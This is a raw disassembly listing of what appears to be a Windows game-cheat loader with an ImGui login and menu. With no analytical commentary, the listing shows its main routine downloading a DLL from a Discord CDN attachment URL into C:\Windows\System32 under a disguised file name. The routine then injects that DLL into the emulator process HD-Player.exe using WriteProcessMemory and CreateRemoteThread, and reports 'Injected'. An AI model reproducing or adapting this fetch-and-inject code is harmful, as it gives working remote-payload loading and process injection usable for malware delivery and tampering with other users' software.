movss dword [rax + 0xfc], xmm0
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
call fcn.14003b4b0
mov rcx, qword [0x140224020]
lea r8, [0x140224040]
mov qword [rsp + 0x38], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], r12d
mov rax, qword [rcx + 0x3ed0]
mov dword [rbp - 0x20], 0x43960000
mov dword [rbp - 0x1c], 0x42700000
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Password
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm13
addss xmm0, dword [0x1400c9c78]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
call fcn.14003b4b0
mov rcx, qword [0x140224020]
lea rdx, [rbp - 0x18]
mov dword [rbp - 0x18], 0x430c0000
mov dword [rbp - 0x14], 0x42480000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Login
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x1400c9c6c]
addss xmm0, dword [0x1400c9c7c]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140036090
test al, al
je 0x140047fa8
lea rdx, [0x140224040]
lea rcx, [rbp + 0x1c8]
call fcn.14003f290
xorps xmm0, xmm0
mov qword [rbp + 0x50], r12
movups xmmword [rbp + 0x40], xmm0
mov r14, rax
mov qword [rbp + 0x58], r12
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [rdi + rbx], r12b
jne 0x140047e70
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140049144
cmp rbx, 0xf
ja 0x140047eb7
mov r8, rbx
mov qword [rbp + 0x50], rbx
mov rdx, rdi
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x40], r12b
jmp 0x140047f50
mov rdi, rbx
or rdi, 0xf
cmp rdi, rax
jbe 0x140047ed6
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140047efd
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140047f1c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004914a
mov rcx, rax
call fcn.1400aa3a0
test rax, rax
je 0x1400490f9
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140047f2e
test rcx, rcx
je 0x140047f2b
call fcn.1400aa3a0
mov rsi, rax
jmp 0x140047f2e
mov rsi, r12
mov r8, rbx
mov qword [rbp + 0x40], rsi
lea rdx, [0x1402240b0]
mov qword [rbp + 0x50], rbx
mov rcx, rsi
mov qword [rbp + 0x58], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r12b
mov r8, r14
lea rdx, [rbp + 0x40]
lea rcx, [0x140245970]
call fcn.140056000
cmp byte [0x140245b88], r12b
jne 0x140047f9a
cmp qword [0x140245ba8], 0xf
lea rdx, [0x140245b90]
cmova rdx, qword [0x140245b90]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea r14, str.EXTERNAL___BASIC
jmp 0x140047fa8
lea r14, str.EXTERNAL___BASIC
mov byte [0x14024a821], r13b
mov rcx, qword [0x140224020]
lea rdx, [rbp + 0x10]
cmp byte [0x14024a820], r12b
mov dword [rbp + 0x10], 0x430c0000
mov dword [rbp + 0x14], 0x42480000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.SIGN_UP
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm13
addss xmm0, dword [0x1400c9c7c]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
lea rax, str.SING_IN
cmovne rcx, rax
call fcn.140036090
test al, al
je 0x140048041
cmp byte [0x14024a820], r12b
sete byte [0x14024a820]
call fcn.1400154c0
jmp 0x140048dcb
addss xmm0, dword [0x1400c9c58]
lea r8, [0x140224078]
mov dword [rbp - 0x10], 0x43960000
mov dword [rbp - 0xc], 0x42700000
movss dword [rax + 0xfc], xmm0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
call fcn.14003b4b0
mov rcx, qword [0x140224020]
lea r8, [0x140224140]
mov qword [rsp + 0x38], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], r12d
mov rax, qword [rcx + 0x3ed0]
mov dword [rbp - 8], 0x43960000
mov dword [rbp - 4], 0x42700000
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Password
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm13
addss xmm0, dword [0x1400c9c68]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
call fcn.14003b4b0
mov rcx, qword [0x140224020]
lea r8, [0x140224108]
mov qword [rsp + 0x38], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], r12d
mov rax, qword [rcx + 0x3ed0]
mov dword [rbp], 0x43960000
mov dword [rbp + 4], 0x42700000
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [0x1400c9944]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm13
addss xmm0, dword [0x1400c9c78]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
lea rax, [rbp]
mov qword [rsp + 0x20], rax
call fcn.14003b4b0
mov rcx, qword [0x140224020]
lea rdx, [rbp + 8]
mov dword [rbp + 8], 0x430c0000
mov dword [rbp + 0xc], 0x42480000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Register
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x1400c9c6c]
addss xmm0, dword [0x1400c9c7c]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140036090
test al, al
je 0x140047fa8
lea rdx, [0x140224108]
lea rcx, [rbp + 0x1e8]
call fcn.14003f290
lea rdx, [0x140224140]
mov rdi, rax
lea rcx, [rbp + 0x208]
call fcn.14003f290
lea rdx, [0x140224078]
mov rbx, rax
lea rcx, [rbp + 0x160]
call fcn.14003f290
mov r9, rdi
lea rcx, [0x140245970]
mov r8, rbx
mov rdx, rax
call fcn.140058140
cmp byte [0x140245b88], r12b
jne 0x140047fa1
cmp qword [0x140245ba8], 0xf
lea rdx, [0x140245b90]
cmova rdx, qword [0x140245b90]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140047fa8
mov rcx, qword [0x14024a8e0]
mov qword [rsp + 0x60], rcx
mov rdi, rcx
test rcx, rcx
jne 0x140048309
mov rcx, qword [rsi + 0x68]
test rcx, rcx
jne 0x140048301
mov rdi, qword [rsi + 0x58]
cmp dword [rdi + 0x58], r12d
jg 0x1400482fa
mov r8d, 0x6fc
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x60]
mov rcx, qword [rax]
mov rdi, rcx
mov qword [rsp + 0x60], rcx
call fcn.140011680
lea rcx, [rsi + 0x4838]
lea rdx, [rsp + 0x60]
call fcn.14001dfd0
mov rax, qword [rsi + 0x3ed0]
mov rdx, qword [rdi + 0x40]
mov rcx, qword [rax + 0x290]
mov rdx, qword [rdx + 8]
call fcn.140027ba0
call fcn.1400117b0
mov rcx, qword [0x14024af38]
mov rsi, qword [0x140224020]
mov rdi, rcx
mov qword [rsp + 0x60], rcx
test rcx, rcx
jne 0x140048396
mov rcx, qword [rsi + 0x68]
test rcx, rcx
jne 0x14004838e
mov rdi, qword [rsi + 0x58]
cmp dword [rdi + 0x58], r12d
jg 0x140048387
mov r8d, 0x6fc
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x60]
mov rcx, qword [rax]
mov rdi, rcx
mov qword [rsp + 0x60], rcx
call fcn.140011680
lea rcx, [rsi + 0x4838]
lea rdx, [rsp + 0x60]
call fcn.14001dfd0
mov rax, qword [rsi + 0x3ed0]
mov rdx, qword [rdi + 0x40]
mov rcx, qword [rax + 0x290]
mov rdx, qword [rdx + 8]
call fcn.140027ba0
movups xmm0, xmmword [0x14024a158]
mov r8, qword [0x140224020]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [r8 + 0x37e0]
movss dword [rsp + 0x6c], xmm0
call fcn.140003d30
movss xmm0, dword [0x1400c9cb8]
lea rdx, [rbp - 0x78]
movss xmm3, dword [0x1400c9cac]
movaps xmm7, xmm8
movss xmm2, dword [r8 + 0x3c20]
movaps xmm6, xmm9
mov rcx, qword [r8 + 0x3c18]
mov esi, eax
addss xmm7, dword [0x1400c9c60]
addss xmm6, dword [0x1400c9c84]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm0
call fcn.140032280
movss xmm0, dword [rbp - 0x78]
subss xmm7, xmm8
subss xmm6, xmm9
addss xmm0, dword [0x1400c9bb0]
mulss xmm7, xmm11
mulss xmm6, xmm11
addss xmm7, xmm8
cvttss2si eax, xmm0
movss xmm0, dword [rbp - 0x74]
addss xmm6, xmm9
mulss xmm0, xmm11
movd xmm1, eax
subss xmm7, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x1c], xmm7
movss dword [rbp - 0x78], xmm1
mulss xmm1, xmm11
subss xmm6, xmm1
movss dword [rbp + 0x18], xmm6
test esi, 0xff000000
je 0x140048533
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x1400484ea
mov r8d, 0x678
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x1400c9918]
movss dword [rsp + 0x40], xmm10
lea r9, [rbp + 0x18]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x60], xmm0
call fcn.1400324a0
call fcn.1400117b0
mov rcx, qword [0x140224020]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [0x1402231d0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x1400c9c88]
addss xmm0, xmm15
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x1402231d0]
call fcn.140035630
mov rcx, qword [0x140224020]
lea rdx, str.Group
movss xmm6, dword [0x1400c9c54]
mov qword [rbp - 0x70], r12
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, xmm6
addss xmm0, dword [0x1400c9c40]
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.1400070b0
mov edx, eax
mov dword [rsp + 0x20], r12d
movzx r9d, r13b
lea r8, [rbp - 0x70]
lea rcx, str.Group
call fcn.14000b000
mov rcx, qword [0x140224020]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x1400c9c24]
addss xmm0, xmm10
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
call fcn.140015370
mov rcx, qword [0x140224020]
lea rdx, str.MENU
mov dword [rbp - 0x68], 0x43960000
mov dword [rbp - 0x64], 0x43480000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.1400070b0
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp - 0x68]
lea rcx, str.MENU
call fcn.14000b000
mov rcx, qword [0x140224020]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
addss xmm1, dword [0x1400c9c2c]
movss dword [rax + 0xfc], xmm1
addss xmm0, xmm14
mov byte [rax + 0x139], r13b
movss dword [rax + 0xf8], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x1400c9c50]
addss xmm0, xmm14
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, xmm14
addss xmm0, xmm14
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
call fcn.1400372b0
mov ecx, dword [0x140249fa8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x1400488f8
cmp byte [0x14022401a], r12b
jne 0x1400488ff
cmp byte [0x14022401c], r12b
mov rcx, r13
mov byte [0x14022401a], r13b
sete al
mov byte [0x14022401c], al
test al, al
je 0x140048893
call fcn.1400aa3a0
lea rcx, [rbp + 0x28]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140049e00]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x20], rax
test rax, rax
je 0x14004910a
cmp dword [rbp + 0x28], r12d
je 0x140049100
movaps xmm0, xmmword [rbp + 0x20]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140049100
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x20], xmm0
jmp 0x1400488ff
call fcn.1400aa3a0
lea rcx, [rbp + 0x38]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140049e00]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140049124
cmp dword [rbp + 0x38], r12d
je 0x14004911a
movaps xmm0, xmmword [rbp + 0x30]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004911a
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x30], xmm0
jmp 0x1400488ff
mov byte [0x14022401a], r12b
mov rcx, qword [0x140224020]
mov rax, qword [rcx + 0x3ed0]
cmp byte [rax + 0xb3], r12b
jne 0x14004892f
mov eax, dword [rax + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140038990
mov rcx, qword [0x140224020]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm14
addss xmm0, dword [0x1400c9c70]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm14
addss xmm0, xmm6
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm14
addss xmm0, xmm6
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.1400380c0
mov byte [0x140224019], al
test al, al
je 0x140048db6
cmp byte [0x14022401b], r12b
je 0x140048db6
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xorps xmm0, xmm0
mov qword [rbp + 0x70], r12
mov ecx, 0xc0
mov qword [rbp + 0x78], r12
movups xmmword [rbp + 0x60], xmm0
call fcn.1400aa3a0
mov rdx, rax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x70], 0xb8
lea rax, str.https:__cdn.discordapp.com_attachments_1236243942199267412_1238523996870541352_ZelvoPHD.dll_ex663f98dbis663e475bhmeb4c794c7950112179ff6ab4a01c5657f801c42fb93566a7fdce49b9a81fc389
movups xmm0, xmmword [rax]
mov qword [rbp + 0x78], 0xbf
mov ecx, Ordinal_50
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rdx + 0xb0], rax
xorps xmm0, xmm0
mov byte [rdx + 0xb8], r12b
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
call fcn.1400aa3a0
movups xmm0, xmmword [str.C:WindowsSystem32windows1290123.dll]
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x78], Ordinal_50
mov rdx, rax
mov qword [rsp + 0x70], Ordinal_46
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], r12
movups xmm1, xmmword [0x1400c9a70]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400c9a80]
mov dword [rax + 0x20], ecx
movzx eax, word [0x1400c9a84]
mov word [rdx + 0x24], ax
mov byte [rdx + 0x26], r12b
lea rdx, [rbp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
test eax, eax
js 0x140048ba5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.File_downloaded_successfully._n
call fcn.14003f6d0
jmp 0x140048bd3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_download_file._Error_code:
call fcn.14003f6d0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140049610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov esi, r12d
mov ebx, r12d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x230]
mov dword [rbp + 0x230], 0x130
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x230]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140048c5e
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x25c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x140048c4a
mov eax, dword [rbp + 0x24c]
cmp eax, ebx
jbe 0x140048c4a
mov esi, dword [rbp + 0x238]
mov ebx, eax
lea rdx, [rbp + 0x230]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140048c20
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
mov rdi, rax
lea r8d, [rdx + 0x27]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, Ordinal_41
mov qword [rsp + 0x20], r12
mov rdx, rax
lea r8, str.C:WindowsSystem32windows1290123.dll
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400c9ad0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], r12d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
mov r8d, Ordinal_41
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.Chams_Menu_:_Injected_
lea rcx, [0x1402231d0]
call fcn.14003f560
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140048d68
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048d63
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049134
call fcn.1400aa6ec
mov rdx, qword [rbp + 0x78]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], r12b
cmp rdx, 0xf
jbe 0x140048db6
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048db1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049134
call fcn.1400aa6ec
movzx ecx, r13b
call fcn.14000b490
call fcn.1400154c0
xor ecx, ecx
call fcn.14000b490
mov ecx, r13d
call fcn.140004290
call fcn.140010c30
call fcn.14000a810
movss xmm1, dword [rbp + 0xa4]
lea r8, [0x140249f98]
mov rcx, qword [0x14024a148]
movaps xmm0, xmm12
mulss xmm0, dword [rbp + 0xa0]
xor r9d, r9d
mov edx, r13d
mulss xmm1, xmm12
movss dword [rbp - 0x60], xmm0
movss xmm0, dword [rbp + 0xa8]
mulss xmm0, xmm12
movss dword [rbp - 0x5c], xmm1
movss dword [rbp - 0x54], xmm12
movss dword [rbp - 0x58], xmm0
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14024a148]
lea r8, [rbp - 0x60]
mov rdx, qword [0x140249f98]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140224020]
cmp dword [rbx + 0x48a0], r12d
jg 0x140048e7a
mov r8d, 0x6fc
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rcx, qword [rax]
mov rax, r12
add rcx, 0x48
cmp byte [rcx], r12b
cmovne rax, rcx
mov rcx, rax
call fcn.14003fde0
mov rcx, qword [0x140249fa0]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x140047600
mov rbx, qword [0x140224020]
test rbx, rbx
je 0x140048ecc
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140048ef0
jmp 0x140048ecf
mov rdi, r12
mov r8d, 0x241
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasic_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140224020]
test rbx, rbx
jne 0x140048f16
mov r8d, 0xfe4
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140224020]
call fcn.140040d70
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140048f2a
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140048f38
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140048f47
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x140224020]
mov qword [rbx + 0x90], r12
mov qword [rbx + 0xa0], r12
test rax, rax
je 0x140048f67
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x140224020]
test rax, rax
